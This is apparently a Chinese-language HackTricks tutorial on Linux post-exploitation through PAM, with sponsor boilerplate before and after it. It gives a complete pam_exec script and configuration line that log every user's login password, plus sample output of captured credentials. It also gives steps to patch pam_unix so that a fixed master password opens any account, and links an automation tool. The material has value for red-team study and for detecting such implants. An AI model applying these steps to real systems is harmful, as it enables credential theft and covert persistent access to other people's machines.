# Linux后渗透
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) 支持HackTricks的其他方式: * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## 使用PAM嗅探登录密码 让我们配置一个PAM模块,以记录每个用户用于登录的密码。如果您不知道什么是PAM,请查看: {% content-ref url="pam-pluggable-authentication-modules.md" %} [pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md) {% endcontent-ref %} 首先,我们创建一个bash脚本,每当发生新的身份验证时都会调用该脚本。 ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log ``` 变量是PAM特定的,并将通过`pam_exec.so`模块可用。 以下是变量的含义: - **$PAM\_USER:** 输入的用户名。 - **$PAM\_RHOST:** 远程主机(通常是IP地址) - **$(cat -):** 这会读取`stdin`,并包含脚本抓取的密码 - 结果被导入到`/var/log/toomanysecrets.log`中的日志文件中 要**防止所有用户读取**该文件,请考虑预先创建它并运行`chmod`,例如: ```bash sudo touch /var/log/toomanysecrets.sh sudo chmod 770 /var/log/toomanysecrets.sh ``` 接下来,需要更新PAM配置文件,将使用`pam_exec`模块来调用脚本。 在`/etc/pam.d/`目录中有各种配置文件,我们选择`common-auth`。 ``` sudo nano /etc/pam.d/common-auth ``` 在文件的底部,添加以下身份验证模块: ```plaintext auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh ``` 这些选项的含义如下: - **optional:** 如果出现错误,认证不会失败(这不是必需的步骤) - **pam\_exec.so:** 这是可以调用任意脚本的现成 PAM 模块 - **expose\_authtok:** 这是通过 `stdin` 读取密码的技巧 - **quiet:** 不向用户显示任何错误(如果有什么问题) - 最后一个参数是之前创建的 shell 脚本 ![](<../../.gitbook/assets/image (375).png>) 最后,将文件设置为可执行: ```plaintext sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` 现在,让我们尝试一下,从另一台机器进行 SSH 登录,或者本地登录。 然后查看日志文件: ``` $ sudo cat /var/log/toomanysecrets.log Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149 Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From: Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149 ``` ### 后门PAM 让我们进入PAM的源代码(取决于您的发行版,选择与您相同版本号的文件..)并查看pam_unix_auth.c文件中的170/180行附近: ``` vi modules/pam_unix/pam_unix_auth.c ``` ![](<../../.gitbook/assets/image (651).png>) 让我们通过以下方式更改: ![](<../../.gitbook/assets/image (638) (2) (2).png>) 这将允许任何使用**密码"0xMitsurugi"**的用户登录。 重新编译`pam_unix_auth.c`,并替换`pam_unix.so`文件: ```bash make sudo cp \ /home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \ /lib/x86_64-linux-gnu/security/ ``` {% hint style="info" %} 您可以使用[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)来自动化此过程。 {% endhint %} ## 参考资料 * [https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) * [https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)
从零开始学习AWS黑客技术,成为英雄,使用 htARTE(HackTricks AWS红队专家) 支持HackTricks的其他方式: * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。